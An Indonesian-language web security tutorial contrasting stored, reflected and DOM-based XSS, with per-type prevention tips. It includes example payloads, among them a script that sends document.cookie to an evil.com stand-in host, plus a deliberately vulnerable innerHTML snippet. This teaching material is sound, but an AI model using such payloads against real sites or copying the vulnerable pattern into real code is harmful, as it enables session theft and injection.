Stored vs Reflected vs DOM XSS — Security

Tiga Tipe XSS XSS dibagi menjadi tiga tipe berdasarkan cara payload disimpan dan dieksekusi. Memahami perbedaannya penting untuk strategi pencegahan yang tepat.

Tiga Tipe XSS

XSS dibagi menjadi tiga tipe berdasarkan cara payload disimpan dan dieksekusi. Memahami perbedaannya penting untuk strategi pencegahan yang tepat.

1. Stored XSS (Persistent)

Payload disimpan di database atau storage server, lalu ditampilkan ke semua pengguna yang mengakses halaman tersebut.

// Contoh: komentar yang disimpan di database
// Penyerang mengirim komentar:
// <script>fetch("https://evil.com/steal?c="+document.cookie)</script>

// Komentar disimpan di database
// Setiap user yang melihat halaman, script dijalankan di browser mereka

// Dampak: SEMUA pengunjung halaman terkena serangan

2. Reflected XSS (Non-Persistent)

Payload dikirim melalui request (URL, form) dan langsung direfleksikan di response tanpa disimpan.

// Contoh: search result yang menampilkan query
// URL: /search?q=<script>alert(1)</script>

// Server merespons:
// <p>Hasil pencarian untuk: <script>alert(1)</script></p>

// Penyerang harus mengirim link ke korban
// Dampak: hanya user yang klik link yang terkena

3. DOM-based XSS

Payload tidak pernah dikirim ke server. Vulnerability ada di client-side JavaScript yang memanipulasi DOM dengan input pengguna.

// Kode JavaScript yang vulnerable
const hash = window.location.hash.substring(1);
document.getElementById("content").innerHTML = hash;

// Serangan:
// https://example.com/#<img src=x onerror=alert(1)>
// Script dieksekusi tanpa request ke server

Perbandingan

Pencegahan Spesifik

// Stored XSS: sanitize saat INPUT dan escape saat OUTPUT
// Saat menyimpan
const sanitized = DOMPurify.sanitize(userComment);
await db.comments.create({ content: sanitized });
// Saat menampilkan (double protection)
element.textContent = comment.content;

// Reflected XSS: escape semua reflected parameter
// Jangan: res.send("Search: " + req.query.q);
// Gunakan template engine dengan auto-escape

// DOM XSS: hindari sink berbahaya
// Hindari: innerHTML, outerHTML, document.write, eval
// Gunakan: textContent, setAttribute, classList

Source dan Sink dalam DOM XSS

Yang akan kamu pelajari